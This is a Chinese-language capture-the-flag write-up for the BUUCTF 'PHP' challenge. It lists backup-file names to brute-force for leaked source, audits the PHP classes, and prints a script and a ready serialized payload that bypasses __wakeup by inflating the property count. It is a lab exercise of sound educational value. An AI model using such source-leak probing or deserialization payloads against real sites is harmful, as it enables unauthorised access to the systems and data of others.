2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计
题目来源:BUUCTF [极客大挑战 2019]PHP
目录
一、打开靶机,整理信息
二、解题思路
step 1:目录扫描、爆破
step 2:代码审计
1.index.php
2.class.php
3.flag.php
step 3:绕过__wakeup重置
编辑
三、小结
一、打开靶机,整理信息
根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计
二、解题思路
step 1:目录扫描、爆破
目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对
常见的网站源码备份文件后缀:
tar、tgz、zip、rar、bak、7z
常见的网站源码备份文件名:
web、website、backup、back、www、wwwroot、temp
爆破一下
url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件
整理一下进行代码审计
step 2:代码审计
1.index.php
index.php主要是设计,有用信息已经摘抄了
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化
2.class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
//设置两个私有变量
private $username = 'nonono';
private $password = 'yesyes';
//利用__construct构造函数,在创建对象时初始化$username和$password属性
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
//当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guest
function __wakeup(){
$this->username = 'guest';
}
//当对象被销毁时,__destruct方法会被自动调用
function __destruct(){
if ($this->password != 100) { //检查password是否等于100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //如果password等于100,则进一步检查username是否等于admin,等于则输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin
3.flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
什么也不是
step 3:绕过__wakeup重置
根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目
当成员属性数目大于实际数目时可绕过wakeup方法
所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到flag
三、小结
1.常见的网站源码备份文件后缀:
tar、tgz、zip、rar、bak、7z
常见的网站源码备份文件名:
web、website、backup、back、www、wwwroot、temp
2.当成员属性数目大于实际数目时可绕过wakeup方法